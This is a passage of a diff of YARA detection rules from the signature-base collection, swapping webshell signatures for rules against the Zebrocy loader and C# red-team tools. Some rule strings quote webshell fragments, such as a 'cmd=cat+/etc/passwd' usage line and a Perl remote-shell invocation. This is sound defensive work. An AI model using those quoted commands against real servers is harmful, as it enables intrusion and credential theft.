+		( uint16(0)==0x5a4d and 3 of them ) or all of them
 }
-rule SIGNATURE_BASE_Simple_Backdoor_Php
+rule SIGNATURE_BASE_Apt28_Win_Zebrocy_Golang_Loader_Modified : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file simple-backdoor.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "5607f501-a750-59be-9595-5ac71ea6f74b"
-		date = "2023-12-05"
+		description = "Detects unpacked modified APT28/Sofacy Zebrocy Golang."
+		author = "@VK_Intel"
+		id = "cce9ba6c-954c-5b13-a058-cdf7895d63fc"
+		date = "2018-12-25"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4145-L4157"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f091d1b9274c881f8e41b2f96e6b9936"
-		logic_hash = "e2e98580b59727313de298fab0009704f621b1b6556220d5065118d960f7a068"
+		reference = "https://www.vkremez.com/2018/12/lets-learn-progression-of-apt28sofacy.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_zebrocy.yar#L1-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "799f4457eb2bdeeb7c9383e2b4e9572a41d9adbfe4a1a9c3b0fa1c9fc6077e40"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 79
+		tags = "FILE"
 
 	strings:
-		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
-		$s1 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->"
-		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+		$go = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 }
+		$init = { 6d 61 69 6e 2e 69 6e 69 74 }
+		$main = "main" ascii wide fullword
+		$scr_git = {67 69 74 68 75 62 2e 63 6f 6d 2f 6b 62 69 6e 61}
+		$s0 = "os/exec.(*Cmd).Run" fullword ascii
+		$s1 = "net/http.(*http2clientConnReadLoop).processHeaders" fullword ascii
+		$s2 = "os.MkdirAll" fullword ascii
+		$s3 = "os.Getenv" fullword ascii
+		$s4 = "os.Create" fullword ascii
+		$s5 = "io/ioutil.WriteFile" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and $go and $init and all of ($s*) and #main>10 and #scr_git>5
 }
-rule SIGNATURE_BASE_Mysql_Shell_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Csharpsetthreadcontext : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file mysql_shell.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "e517984b-575c-5ead-a438-9767d2c74099"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4158-L4170"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d42aec2891214cace99b3eb9f3e21a63"
-		logic_hash = "dbd825e1056c41efaf80c0495ba7b6cf1c88403b997ea7ac1378512a19f7ed8a"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "883bb859-d5ab-501d-8c83-0c5a2cf1f6c8"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/djhohnstein/CSharpSetThreadContext"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L6-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4e1d425c7921a4b80823275d0522ad74a94b12a3b137c54faa16a57ba5d60a89"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "SooMin Kim"
-		$s1 = "smkim@popeye.snu.ac.kr"
-		$s2 = "echo \"<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablen"
+		$typelibguid0lo = "a1e28c8c-b3bd-44de-85b9-8aa7c18a714d" ascii wide
+		$typelibguid0up = "A1E28C8C-B3BD-44DE-85B9-8AA7C18A714D" ascii wide
+		$typelibguid1lo = "87c5970e-0c77-4182-afe2-3fe96f785ebb" ascii wide
+		$typelibguid1up = "87C5970E-0C77-4182-AFE2-3FE96F785EBB" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Dive_Shell_1_0___Emperor_Hacking_Team_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_DLL_Injection : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Dive Shell 1.0 - Emperor Hacking Team.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "d75294a4-a0a7-5c74-bb7a-766db477633c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4171-L4184"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1b5102bdc41a7bc439eea8f0010310a5"
-		logic_hash = "bd51b625359799178ad3c8e02ba5bb5fca89e6e14769b86dd35c2b8a1049599f"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "aec4fc28-9aa2-5eef-9fb1-d187a83a72b3"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/ihack4falafel/DLL-Injection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L24-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e98c60d2aefb38c550a67003304196e04c42c8cb0317208cf8ffaca175ca4ba0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Emperor Hacking TEAM"
-		$s1 = "Simshell" fullword
-		$s2 = "ereg('^[[:blank:]]*cd[[:blank:]]"
-		$s3 = "<form name=\"shell\" action=\"<?php echo $_SERVER['PHP_SELF'] ?>\" method=\"POST"
+		$typelibguid0lo = "3d7e1433-f81a-428a-934f-7cc7fcf1149d" ascii wide
+		$typelibguid0up = "3D7E1433-F81A-428A-934F-7CC7FCF1149D" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Asmodeus_V0_1_Pl
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Limeusb_Csharp : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Asmodeus v0.1.pl.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "cfd082a8-56fa-54bc-a683-c0052f78e12e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4185-L4198"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0978b672db0657103c79505df69cb4bb"
-		logic_hash = "be0130c9d2a5d29e6ef8749b0058c96c2ca1ecb9823fd14a8a2c82978cf3d104"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "dfa96b36-e84c-510b-b16b-bd686777b83d"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/LimeUSB-Csharp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L40-L54"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "10ba9197effc20894ff0812c7f1cf1a41c7b36ba89426696ca8961e10572d1d8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "[url=http://www.governmentsecurity.org"
-		$s1 = "perl asmodeus.pl client 6666 127.0.0.1"
-		$s2 = "print \"Asmodeus Perl Remote Shell"
-		$s4 = "$internet_addr = inet_aton(\"$host\") or die \"ALOA:$!\\n\";" fullword
+		$typelibguid0lo = "94ea43ab-7878-4048-a64e-2b21b3b4366d" ascii wide
+		$typelibguid0up = "94EA43AB-7878-4048-A64E-2B21B3B4366D" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Backup_Php_Often_With_C99Shell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Ladon : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file backup.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4199-L4211"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aeee3bae226ad57baf4be8745c3f6094"
-		logic_hash = "e27d00ebfbac2565568b9a97552a331db91b4e9aa318febb048937f5c3a1a1ba"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "57e3d2fa-d430-561b-9d42-cf58cda5ed7a"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/k8gege/Ladon"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L56-L70"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f6fdcc7795808e6612be5db336ed04039b592fce459127b4f2d6170f520b0f85"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "#phpMyAdmin MySQL-Dump" fullword
-		$s2 = ";db_connect();header('Content-Type: application/octetstr"
-		$s4 = "$data .= \"#Database: $database" fullword
+		$typelibguid0lo = "c335405f-5df2-4c7d-9b53-d65adfbed412" ascii wide
+		$typelibguid0up = "C335405F-5DF2-4C7D-9B53-D65ADFBED412" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Reader_Asp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Whitelistevasion : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Reader.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "70094d24-fa3a-503c-b9b6-294a883fc52c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4212-L4224"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ad1a362e0a24c4475335e3e891a01731"
-		logic_hash = "ec0dc3b050d84e852e0c18bd00961f109d3506fa7f2e8656448bd5edd28d9305"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "cd2740d0-0315-5a32-b34a-1998024fcc06"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/khr0x40sh/WhiteListEvasion"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L72-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "39ec3d49a6fa17dca59bfee0d312c5d57a46ee0c827c01b6e25d3b107adaba04"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Mehdi & HolyDemon"
-		$s2 = "www.infilak."
-		$s3 = "'*T@*r@#@&mms^PdbYbVuBcAAA==^#~@%><form method=post name=inf><table width=\"75%"
+		$typelibguid0lo = "858386df-4656-4a1e-94b7-47f6aa555658" ascii wide
+		$typelibguid0up = "858386DF-4656-4A1E-94B7-47F6AA555658" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Phpshell17_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_Downloader : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file phpshell17.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ea1f657c-2023-50bb-a2ee-33c53ee8fb5e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4225-L4237"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9a928d741d12ea08a624ee9ed5a8c39d"
-		logic_hash = "a9306747a5c9756f393c61562ed4a601c75c3a9491ad19a7b7dbae1fbd505e9a"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "bfb0f97c-6d95-5e11-ad11-5297bcf7c3df"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/Lime-Downloader"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L88-L102"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "51e7facdbfc47f6af8f1e7408b3817e878afddb9a1bd2fbf3fabfe97746a3964"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>" fullword
-		$s1 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]<?php echo PHPSHELL_VERSION ?></"
-		$s2 = "href=\"mailto: [YOU CAN ENTER YOUR MAIL HERE]- [ADDITIONAL TEXT]</a></i>" fullword
+		$typelibguid0lo = "ec7afd4c-fbc4-47c1-99aa-6ebb05094173" ascii wide
+		$typelibguid0up = "EC7AFD4C-FBC4-47C1-99AA-6EBB05094173" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Myshell_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Darkeye : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file myshell.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "eaf243cb-fa26-5f34-a724-60a08acff636"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4238-L4250"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "62783d1db52d05b1b6ae2403a7044490"
-		logic_hash = "dd7b0fa637a8317986de0c2312b4b552f1110fb5a64590a9a21c854e5985fbb6"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5dc6702f-a398-5be2-9df8-9a2ddc636a1f"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/K1ngSoul/DarkEye"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L104-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ce1f7f9bb621ebc2bc0701084436d1932f33071483aac9c487e00ca911da4ddd"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "@chdir($work_dir) or ($shellOutput = \"MyShell: can't change directory."
-		$s1 = "echo \"<font color=$linkColor><b>MyShell file editor</font> File:<font color"
-		$s2 = " $fileEditInfo = \"&nbsp;&nbsp;:::::::&nbsp;&nbsp;Owner: <font color=$"
+		$typelibguid0lo = "0bdb9c65-14ed-4205-ab0c-ea2151866a7f" ascii wide
+		$typelibguid0up = "0BDB9C65-14ED-4205-AB0C-EA2151866A7F" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Simshell_1_0___Simorgh_Security_MGZ_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpkatz : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file SimShell 1.0 - Simorgh Security MGZ.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "51565555-a17b-59c7-b433-c3166fe0d7f0"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4251-L4264"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "37cb1db26b1b0161a4bf678a6b4565bd"
-		logic_hash = "590a1572877fafcd4425a04c12cd56194f03a63b7acad93c39d4b16dc5a1902d"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ff084b4c-4b00-5504-85ee-d6d17b5be504"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/b4rtik/SharpKatz"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L120-L134"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1e2e5be3256ad24da47096d8d7dbdaec139d4ca136a95957f505e1ec3bb3824f"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Simorgh Security Magazine "
-		$s1 = "Simshell.css"
-		$s2 = "} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], "
-		$s3 = "www.simorgh-ev.com"
+		$typelibguid0lo = "8568b4c1-2940-4f6c-bf4e-4383ef268be9" ascii wide
+		$typelibguid0up = "8568B4C1-2940-4F6C-BF4E-4383EF268BE9" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Jspshall_Jsp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Externalc2 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file jspshall.jsp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "4bccad33-d26e-52c2-b7f8-802f2c8f3889"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4265-L4277"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "efe0f6edaa512c4e1fdca4eeda77b7ee"
-		logic_hash = "94c458d3f38ba21348b0202e2b81bbbc3859e97d64f101a9ea7ec6f036e38bc5"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "1bbdfbb9-a3e8-5ffe-9db9-b50937e6a14d"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/ryhanson/ExternalC2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L136-L152"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "90d05afe605d90dd61e8f5095125eb30c2b7a781b90b9ab42ee8391823b53b83"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "kj021320"
-		$s1 = "case 'T':systemTools(out);break;"
-		$s2 = "out.println(\"<tr><td>\"+ico(50)+f[i].getName()+\"</td><td> file"
+		$typelibguid0lo = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii wide
+		$typelibguid0up = "7266ACBB-B10D-4873-9B99-12D2043B1D4E" ascii wide
+		$typelibguid1lo = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii wide
+		$typelibguid1up = "5D9515D0-DF67-40ED-A6B2-6619620EF0EF" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Povlsomware : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file webshell.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4278-L4289"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e425241b928e992bde43dd65180a4894"
-		logic_hash = "7b0f4f4afde7dcb44c9d877a72c961f3666278ce28a24ae8068cfbc32639e307"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0eba43d2-b415-5e72-9677-4a3238ff7c34"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/povlteksttv/Povlsomware"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L154-L168"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "681603aa09b83f1a5a56c26204a4a5338c14627f977b29d3edc28a50149756d4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "<die(\"Couldn't Read directory, Blocked!!!\");"
-		$s3 = "PHP Web Shell"
+		$typelibguid0lo = "fe0d5aa7-538f-42f6-9ece-b141560f7781" ascii wide
+		$typelibguid0up = "FE0D5AA7-538F-42F6-9ECE-B141560F7781" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Rootshell_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Runshellcode : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file rootshell.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "aec6621e-f23a-5f9f-91f1-d2f1b1ab58d0"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4290-L4303"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "265f3319075536030e59ba2f9ef3eac6"
-		logic_hash = "f836dd1825dc84212d32a034c0dde45d60ccd1eb667018abb60d671b61192666"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "249da967-68b0-59b1-b414-4eb4fe67b8f3"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/zerosum0x0/RunShellcode"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L170-L184"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "de9bb2689e10d8a4d4830f6fb5ac35f4433ece1fe61e0f04d72a125e85235a64"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "shells.dl.am"
-		$s1 = "This server has been infected by $owner"
-		$s2 = "<input type=\"submit\" value=\"Include!\" name=\"inc\"></p>"
-		$s4 = "Could not write to file! (Maybe you didn't enter any text?)"
+		$typelibguid0lo = "a3ec18a3-674c-4131-a7f5-acbed034b819" ascii wide
+		$typelibguid0up = "A3EC18A3-674C-4131-A7F5-ACBED034B819" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Connectback2_Pl
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharploginprompt : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file connectback2.pl.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "4ddebc62-17d2-577e-84bd-207367078327"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4304-L4316"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "473b7d226ea6ebaacc24504bd740822e"
-		logic_hash = "7316c93f12dbbf6d0235601d8be88c199e37955507925222d00041d0ceaf01c7"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e9a493d9-21b6-5ff1-9e5e-e8fbacc34c0c"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/shantanu561993/SharpLoginPrompt"
